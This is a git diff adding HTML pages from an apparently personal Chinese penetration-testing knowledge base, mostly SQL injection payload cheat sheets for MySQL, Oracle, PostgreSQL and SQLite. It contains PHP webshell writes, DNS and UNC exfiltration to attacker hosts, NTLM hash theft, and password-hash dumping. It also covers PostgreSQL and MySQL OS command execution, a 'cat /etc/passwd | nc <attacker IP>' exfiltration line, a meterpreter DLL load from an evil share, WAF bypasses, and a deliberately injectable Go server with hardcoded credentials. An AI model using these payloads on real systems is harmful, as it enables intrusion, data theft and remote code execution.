[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
+

MYSQL 截断​

+

在 MYSQL 中,“ admin ”和“ admin”是相同的。如果数据库中的 username 列有字符限制,则会截断其余字符。因此,如果数据库的列限制为 20 个字符,并且我们输入了一个包含 21 个字符的字符串,则最后 1 个字符将被删除。

+
`username` varchar(20) not null
+

有效载荷: username = "admin a"

+

MYSQL 快速利用​

+

要求: MySQL >= 5.7.22

+

使用 json_arrayagg() 而不是,这样可以显示更少的符号

+
    +
  • group_concat()=1024 个符号
  • +
  • json_arrayagg()>16000000 个符号
  • +
+
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
+

MYSQL UDF 命令执行​

+

首先,您需要检查 UDF 是否安装在服务器上。

+
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
+

然后您可以使用诸如 sys_exec 和 sys_eval 之类的功能。

+
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
+

MYSQL 带外​

+
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
+

DNS 外过滤​

+
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
+

UNC 路径-NTLM 哈希窃取​

+
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Oracle/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Oracle/index.html new file mode 100644 index 0000000..7d06b91 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/Oracle/index.html @@ -0,0 +1,290 @@ + + + + + +Oracle | wjlin0 + + + + + + + +

Oracle

作者修订时间
wjlin02025-08-19 16:42:15
+

Oracle服务默认端口:1521

+

一些基本概念​

+

1、SID(Site ID):一个由字母和数字组成的系统标识符用来做实例的唯一性的区别,包含了至少一个应用程序的实例和数据存储设备

+

2、实例(Instance):由一个实例数字(或是一个引导ID:SYS.V_$DATABASE.ACTIVATION#)表示,包含了一个操作系统程序的集合和与存储设备进行交谈的内部结构

+

ORACLE实例 = 进程 + 进程所使用的内存(SGA)

+
    +
  • 进程:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求
  • +
  • SGA:全称为 System Global Area(系统全局区域)。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志、SQL命令、用户信息等信息,由后台进程进行共享
  • +
+

3、数据库:一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件和 Redo 日志(重做文件 + 控制文件 + 数据文件 + 临时文件),这些文件一般存储在$ORACLE_HOME\oradata...路径下,后缀名后DBF

+

简而言之,实例是临时性的,数据库是永久性的,一个数据库可以对应多个实例,而一个实例只能对应一个数据库

+

环境搭建​

+
package main

import (
"database/sql"
"fmt"
"github.com/gin-gonic/gin"
_ "github.com/godror/godror"
)

var (
Db *sql.DB
)

func main() {
r := gin.Default()
func() {

var err error
Db, err = sql.Open("godror", `user="TEST" password="test" connectString="119.13.81.145:1521/helowin"`)
if err != nil {
panic(err)
}
err = Db.Ping()
if err != nil {
panic(err)
}
}()
defer Db.Close()
user := r.Group("api/v1")

user.GET("user/queryById", func(c *gin.Context) {
i := c.DefaultQuery("id", "0")
sql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)
fmt.Println(sql_)
rows, err := Db.Query(sql_)
if err != nil {
c.JSON(400, gin.H{"err": err.Error()})
fmt.Println(err)
return
}
defer rows.Close()
var slice []map[string]interface{}
var m1 map[string]interface{}
m1 = make(map[string]interface{})

var id, username, password string
for rows.Next() {
rows.Scan(&id, &username, &password) //写入查询数据集的所有列名
m1["id"] = id
m1["username"] = username
m1["password"] = password
slice = append(slice, m1) //分片中追加信息
}

c.JSON(200, gin.H{"data": m1})
return
})
user.GET("user/queryByUsername", func(c *gin.Context) {
i := c.DefaultQuery("user", "admin")
sql_ := fmt.Sprintf("select * from TEST.PERSONS where USERNAME='%s'", i)
fmt.Println(sql_)
rows, err := Db.Query(sql_)
if err != nil {
c.JSON(400, gin.H{"err": err.Error()})
fmt.Println(err)
return
}
defer rows.Close()
var slice []map[string]interface{}
var m1 map[string]interface{}
m1 = make(map[string]interface{})

var id, username, password string
for rows.Next() {
rows.Scan(&id, &username, &password) //写入查询数据集的所有列名
m1["id"] = id
m1["username"] = username
m1["password"] = password
slice = append(slice, m1) //分片中追加信息
}

c.JSON(200, gin.H{"data": m1})
return
})
user.GET("user/BoolById", func(c *gin.Context) {
i := c.DefaultQuery("id", "0")
sql_ := fmt.Sprintf("select * from TEST.PERSONS where USER_ID=%s", i)
fmt.Println(sql_)
rows, err := Db.Query(sql_)
if err != nil {
c.JSON(400, gin.H{"err": "error"})
return
}
defer rows.Close()
var slice []map[string]interface{}
var m1 map[string]interface{}
m1 = make(map[string]interface{})

var id, username, password string
for rows.Next() {
rows.Scan(&id, &username, &password) //写入查询数据集的所有列名
m1["id"] = id
m1["username"] = username
m1["password"] = password
slice = append(slice, m1) //分片中追加信息
}
if len(slice) > 0 {
c.JSON(200, gin.H{"data": "id存在"})
} else {
c.JSON(200, gin.H{"data": "id不存在"})
}
return
})
panic(r.Run(":8000"))
}

+

基本用法​

+
+

![INFO]

+

这里使用了解一些基本语法的话,就了解一些跟mysql不一样的地方

+

虚表 dual:它没有实际的存储意义,永远只存储一条数据,因为 oracle 的语法要求 select 后必须跟上 from,所以通常使用 dual 来作为计算、查询时间等SQL语句中 from 之后的虚表占位,例如select 1+1 from dual

+

都是遵守的SQL标准语法

+
    +
  • select 必须要指明表名。也可以用 dual 作为表名来对非真实的表进行查询
  • +
  • Oracle 中空字符串''就是null(也就是说oracle只有null,没有空字符)
  • +
  • Oracle使用 || 拼接字符串,MySQL中为或运算
  • +
  • Oracle的单引号与mysql一样的,只不过Oracle的双引号是用来消除系统关键字的
  • +
  • Oracle中limit应该使用虚表中的rownum字段通过where条件判断
  • +
+
+
    +
  • 当前数据库用户:
  • +
+
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
+
    +
  • 获取操作系统版本:
  • +
+
SELECT banner FROM v$version where banner like 'TNS%';
+
    +
  • 获取当前用户权限的所有数据库:
  • +
+
SELECT DISTINCT owner, table_name FROM all_tables;
+
    +
  • 获取当前数据库:
  • +
+
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
+
    +
  • 表名与字段名:
  • +
+
SELECT table_name FROM all_tables;
SELECT table_name FROM user_tables;
SELECT column_name FROM all_tab_columns;
select column_name from user_tab_columns;
+
    +
  • 获取DB文件路径
  • +
+
SELECT name FROM V$DATAFILE;  
+
    +
  • 获取主机名和IP
  • +
+
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
+
    +
  • 当前数据库用户
  • +
+
SELECT user FROM dual;
SELECT SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') FROM dual;
SELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual;
select sys_context('userenv','current_user') from dual

+
    +
  • 所有数据库用户
  • +
+
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
+
    +
  • 所有数据库用户的密码 hash
  • +
+
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g
SELECT name,spare4 FROM sys.user$ -- priv, 11g
+
    +
  • 获取当前用户权限
  • +
+
SELECT * FROM session_privs; 
+
    +
  • 获取所有用户权限
  • +
+
SELECT * FROM dba_sys_privs; -- priv
+
    +
  • 获取用户角色
  • +
+
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
+
    +
  • 列出DBA账户
  • +
+
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; -- priv
+

注入流程​

+

寻找并判断注入点​

+

数字型

+

数字型的注入,和其他类型数据库时都一样,自己构造加减乘除的条件来判断注入

+
    +
  • 通过 <> 来判断
  • +
+
1 and 1<>6--+ #返回为真 页面正常
1 and 1<>1--+ #返回为假 页面异常
+

image-20230404101726037

+

image-20230404101912641

+
    +
  • 通过加减法判断
  • +
+

image-20230404102523196

+
    +
  • 通过数据库报错来判断
  • +
+
# 环境要改动才有截图 
1 #返回为正常
1/0 #返回异常
+

image-20230404102941101

+

image-20230404103017112

+
    +
  • 通过注释符来判断(多行注释:/**/,单行注释:–)
  • +
+
?id=1           #返回为正常
?id=1--test #也返回正常
?id=1/*test*/ #也返回正常
+

image-20230404103046485

+

image-20230404103709626

+

字符型

+

字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过'闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此:(假设数据库中name字段有test这个值)

+
    +
  • 通过<>来判断
  • +
+
?user=admin' and 1<>6--+ #返回正常
?user=admin' and 1<>1--+ #返回异常
+

image-20230404104002437

+

image-20230404104023229

+
    +
  • 使用字符串拼接符||,通过判断拼接符是否执行,从而判断是否存在注入
  • +
+
?user=adm'||'in     #返回正常
?user=adm'||'123 #返回异常
+

image-20230404104115641

+

image-20230404104122930

+

联合查询​

+

利用union select将想要查询的数据显示在页面上,构造正常语句,成功执行SQL语句查询数据。

+
+

![Tip]

+

因为Oracle是强匹配的,所以在Oracle进行类似Union联合查询的时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0 <=1'这种形式来指定。

+
+
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5;
+
    +
  • 先判断列数,同Mysql一样
  • +
+
?id=1 order by 3 #返回正常
?id=1 order by 4 #提示报错
+

image-20230404104356826

+

image-20230404104405573

+

得出结论数据为: 3 列

+
    +
  • 然后对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置),先默认每一列均为null,然后从第一列开始依次将null改为数字,如果报错则说明该列是字符型,否则是数字型。
  • +
+
?id=-1 union select 1,null,null from dual   #没有报错,可以判断第一个字段为数字型 
?id=-1 union select 1,0,null from dual #没有报错,可以判断第一个字段为数字型
+

image-20230404104524029

+

image-20230404104532414

+

image-20230404104617733

+
    +
  • 获取表名
  • +
+
# 获取第一个表名为PERSONS
?id=-1 union select null,table_name,null from user_tables where rownum=1 --+
# 获得第二个表名为TEST_PERSONS
?id=-1 union select 1,table_name,null from user_tables%20 where table_name<>'PERSONS' --+
+

image-20230404105233355

+

image-20230404105638626

+

通过这样一个一个表查效率比较低,可以先查询用户名,再用类似 mysql 中 group_concat() 的方式查询表名

+
# 查询用户名为test
?id=-1 union select 1,(select user from dual),null,null from dual
# 查询用户名为ORACLE1拥有的所有表
?id=-1 union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='TEST'),null from dual

+

image-20230404105828042

+

image-20230404105925720

+
    +
  • 获取字段名
  • +
+
# 查询PERSONS表的第一个字段名为 USER_ID
?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'),null+from+dual
# 查询PERSONS表的第二个字段名为 USERNAME
?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'+and+column_name<>'USER_ID'),null+from+dual
# 接下来同理
+

image-20230404131004845

+

image-20230404131106052

+

同样地可以使用拼接的方式一次性查出来

+
?id=-1+union+select+1,(select+LISTAGG(column_name,',')within+group(order+by+column_name)name+from+user_tab_columns+where+table_name='PERSONS'),null+from+dual
+

image-20230404131357822

+
    +
  • 获取数据
  • +
+
# 查询第一条数据,username password
?id=-1+union+select+1,(select+(USERNAME)+from+PERSONS+where+rownum=1),null+from+dual
?id=-1+union+select+1,(select+(PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual
+

image-20230404132443734

+

image-20230404132501739

+

还可以把两个字段拼在一起查出来

+
?id=-1+union+select+2,(select+concat(concat(USERNAME,':'),PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual
+

image-20230404132706554

+

报错注入​

+

报错注入是一种通过函数报错前进行子查询获取数据,再通过错误页面回显的一种注入手法,下面介绍几种报错注入函数以及获取一些常见的获取数据,实际操作只需要将子查询内的查询语句进行替换即可。

+
+

![Tip]

+

这里有个小技巧,mysql中我们进行报错语句通常是用 = 与一个数字或者字符比较来构造报错语句,但是在oracle中由于对字符类型的严格判断,如果 = 两边的类型不匹配的话就会返回类型不对的报错,而我们想要的报错信息不回显示,这里可以在报错语句后面加上 is not null 来替代 = ,就不会有上面的问题。

+
+
    +
  • ctxsys.drithsx.sn
  • +
+
?id=1 and (ctxsys.drithsx.sn(1, (SELECT username FROM all_users where rownum=1)))is not null
+

image-20230404134858966

+
    +
  • CTXSYS.CTX_REPORT.TOKEN_TYPE
  • +
+

作用与 ctxsys.drithsx.sn 类似,用于处理文本

+
?id=-1+and+(select+CTXSYS.CTX_REPORT.TOKEN_TYPE((SELECT+username+FROM+all_users+where+rownum=1),'123')+from+dual)is+not+null 
+

image-20230404135230818

+
    +
  • XMLType
  • +
+

XMLType 在调用的时候必须以<:开头,>结尾,即 '<:'||balabala||'>' 或者 chr(60)||chr(58)balabal||chr(62)。另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。

+
?id=-1+and+(select+upper(XMLType(chr(60)||chr(58)||(select+user+from+dual)||chr(62)))+from+dual)is+not+null
?id=1+and+(select+XMLType('<:'||(select+user+from+dual)||'>')+from+dual)is+not+null

+

image-20230404140028285

+

image-20230404140140485

+

布尔盲注​

+

通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入

+
    +
  • 直接使用 substr() 分割字符串进行盲注
  • +
+

substr() :用法和mysql一样,同样是要从1开始,而不是0。

+
# 盲注用户名第一位
# 返回正常页面
?id=-1+or+(select+substr(user,1,1)+from+dual)='T'
# 返回没有找到对应数据
?id=-1+or+(select+substr(user,1,1)+from+dual)='a'
+

image-20230404141831145

+

image-20230404141854020

+
    +
  • 通过 substr() 、decode() 函数的盲注(常用)
  • +
+

decode(字段或字段的运算, 值1, 值2, 值3) :当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3。当然值1,值2,值3也可以是表达式,这也为后面的时间盲注提供了便利。

+
?id=-1+or+1=(select+decode(substr((select+user+from+dual),1,1),'T',1,0)+from+dual
?id=-1+or+1=(select+decode(substr((子语句),1,1),'T',1,0)+from+dual
+

image-20230404142433698

+
?id=-1+or+(select+ascii(substr((select+user+from+dual),1,1))from+dual)=84 # T
?id=-1+or+(select+ascii(substr((子语句),1,1))from+dual)=84
+

image-20230404142740903

+

配合上case、substr()函数的方式

+
?id=-1+or+1=(case+when+ascii(substr(user,1,1))=84+then+1+else+0+end)
?id=-1+or+1=(case+when+ascii(substr((子语句),1,1))=84+then+1+else+0+end)
+

image-20230404142933474

+
    +
  • 通过 instr()函数的盲注
  • +
+
?id=-1+or+(instr((select+user+from+dual),'T'))=1
+

image-20230404143058960

+

配合上case 和 chr() 就可以对ASCII码数字进行盲注(相对复杂一点)

+
?id=-1+or+1=(case+instr+(user,chr(84),1,1)+when+1+then+1+else+0+end) --+
?id=-1+or+1=(case+instr+((子语句),chr(84),1,1)+when+1+then+1+else+0+end) --+
+
    +
  • DBMS_PIPE.RECEIVE_MESSAG
  • +
+
?id=1+and+1=(dbms_pipe.receive_message('RDS',5))
+

image-20230404143456371

+

配合docode() 进行延时

+
?id=-1+or+1=(select+decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)
?id=-1+or+1=(select+decode(substr((子语句),1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)
+

image-20230404143613656

+

外带攻击OOB(Out Of Band)​

+

通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击

+
    +
  • utl_http.request
  • +
+
?id=-1 and utl_http.request('http://'||(select user from dual)||'.k4m0qx.dnslog.cn/')is not null
+

image-20230404144339171

+
    +
  • utl_inaddr.get_host_address
  • +
+
?id=-1 and utl_inaddr.get_host_address((select user from dual)||'.kgsfi8.dnslog.cn')is not null
+

image-20230404144432252

+
    +
  • SYS.DBMS_LDAP.INIT
  • +
+
?id=-1 and DBMS_LDAP.INIT((select user from dual)||'.wxe59v.dnslog.cn',80)is not null
+

image-20230404144549520

+
    +
  • HTTPURITYPE
  • +
+
?id=1 and (select HTTPURITYPE('http://'||(select user from dual)||'.t1hbkg.dnslog.cn/').GETCLOB() FROM DUAL)is not null --
+

image-20230404144709664

+

绕过​

+

编码绕过​

+
    +
  • 使用hextoraw()和asciistr()配合UTL_RAW.CAST_TO_VARCHAR2()函数来实现编码的绕过。
  • +
+

首先可以将字符变成16进制编码形式:

+
SELECT rawtohex('abcdef') FROM dual;    # 得到616263646566
+

然后在输入的时候借助UTL_RAW.CAST_TO_VARCHAR2 和 hextoraw 将16进制还原为字符串

+
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(616263646566)) FROM dual;  # 输出abcdef
+

空格绕过​

+

常用于替换空格%20 的其他字符%0a、%0b、%2b、%0c、%0d、%00、%20、%09

+
SELECT 1 FROM dual;             正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符
+

拼接换行回车符​

+

Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||,那么回车换行即是chr(13)||chr(10)。

+

只要是select from XXX中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符

+
?id=-1 uNIon sELEct null,to_nchar((SelEct chr(13)||chr(10)||uSEr fROm dual)),null,null fROm dUAl
+

分块传输​

+

直接用github上burp的插件即可:c0ny1/chunked-coding-converter

+

脏数据​

+

waf对于每一个数据包都进行检测,这是很耗费资源的,所以一般只会在固定长度范围内进行检测,那么这里在语句中插入大量无用字符,便可以成功绕过。

+
?id=-1/*脏数据*/uNIon/*脏数据*/sELEct/*脏数据*/null,to_nchar((SelEct chr(13)||chr(10)||uSEr/*脏数据*/fROm dual)),null,null/*脏数据*/fROm/*脏数据*/dUAl/*脏数据*/
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/PostgreSQL/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/PostgreSQL/index.html new file mode 100644 index 0000000..9e34741 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/PostgreSQL/index.html @@ -0,0 +1,96 @@ + + + + + +PostgreSQL | wjlin0 + + + + + + + +

PostgreSQL

作者修订时间
wjlin02023-07-05 21:37:29
+

PostgreSQL 注释​

+
--
/**/
+

PostgreSQL 链注入点符号​

+
; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
|| #or statement

# usage examples:
/?whatever=1;(select 1 from pg_sleep(5))
/?whatever=1||(select 1 from pg_sleep(5))
+

PostgreSQL 版本​

+
SELECT version()
+

PostgreSQL 当前用户​

+
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
+

PostgreSQL 列表用户​

+
SELECT usename FROM pg_user
+

PostgreSQL 列表密码哈希​

+
SELECT usename, passwd FROM pg_shadow 
+

PostgreSQL 列出数据库管理员帐户​

+
SELECT usename FROM pg_user WHERE usesuper IS TRUE
+

PostgreSQL 列表权限​

+
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
+

PostgreSQL 检查当前用户是否为超级用户​

+
SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
+

PostgreSQL 数据库名称​

+
SELECT current_database()
+

PostgreSQL 列表数据库​

+
SELECT datname FROM pg_database
+

PostgreSQL 列表表​

+
SELECT table_name FROM information_schema.tables
+

PostgreSQL 列表列​

+
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
+

PostgreSQL 基于错误​

+
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
+

PostgreSQL 基于XML​

+
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
+

上面的 query_to_xml 将指定查询的所有结果作为单个结果返回。将其与PostgreSQL 基于错误技术相结合,以排除过滤数据,而不必担心 LIMIT 将查询返回一个结果。

+
select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
+

注意,对于上述查询,需要在内存中组装输出。对于较大的数据库,这可能会导致速度减慢或拒绝服务的情况。

+

PostgreSQL 基于盲注​

+
' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
+

PostgreSQL 基于时间​

+

确定基于时间的​

+
select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))
+

基于数据库转储时间​

+
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
+

基于表转储时间​

+
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
+

列转储基于时间​

+
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
+
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+

PostgreSQL 堆叠查询​

+

使用分号“;”添加另一个查询

+
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
+

PostgreSQL 文件读取​

+
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
+

注意:早期版本的 Postgres 不接受 pg_read_file 或 pg_ls_dir 中的绝对路径。较新的版本(从this提交起)将允许读取超级用户或 default_role_read_server_files 组中的用户的任何文件/文件路径。

+
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
+
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
+

PostgreSQL 文件写入​

+
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
+

或者作为一行:

+
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
+
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
+

PostgreSQL 命令执行​

+

2019 年 9 月 19 日​

+

如果您可以直接访问数据库,则可以从Metasploit使用,否则您需要手动执行以下 SQL 查询。

+
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
+

https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png

+

使用 libc.so.6​

+
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
+

旁通过滤器​

+

报价​

+

使用 CHR

+
SELECT CHR(65)||CHR(66)||CHR(67);
+

使用美元符号(>=PostgreSQL 版本 8)

+
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/SQLite/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/SQLite/index.html new file mode 100644 index 0000000..b9e94e2 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/SQLite/index.html @@ -0,0 +1,48 @@ + + + + + +SQLite | wjlin0 + + + + + + + +

SQLite

作者修订时间
wjlin02023-07-05 21:37:29
+

SQLite 注释​

+
--
/**/
+

SQLite 版本​

+
select sqlite_version();
+

基于字符串-提取数据库结构​

+
SELECT sql FROM sqlite_schema
+

整数/基于字符串-提取表名​

+
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
+

使用极限 X+1 偏移 X 提取所有表格。

+

整数/基于字符串-提取列名​

+
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
+

对于干净的输出

+
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
+

布尔值-计算表数​

+
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
+

布尔值-枚举表名​

+
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
+

布尔值-提取信息​

+
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
+

布尔值-提取信息(排序依据)​

+
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
+

布尔值-基于错误​

+
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
+

基于时间​

+
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+

使用 SQLite 命令执行远程命令-附加数据库​

+
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
+

使用 SQLite 命令执行远程命令-Load_extension​

+
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
+

注意:默认情况下,此组件处于禁用状态

+

参考文献​

+

注入基于 SQLite 数据库的应用程序-Manish Kishan Tanwar

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/index.html new file mode 100644 index 0000000..02ea054 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/index.html @@ -0,0 +1,202 @@ + + + + + +SQL注入 | wjlin0 + + + + + + + +

SQL注入

+

介绍​

+

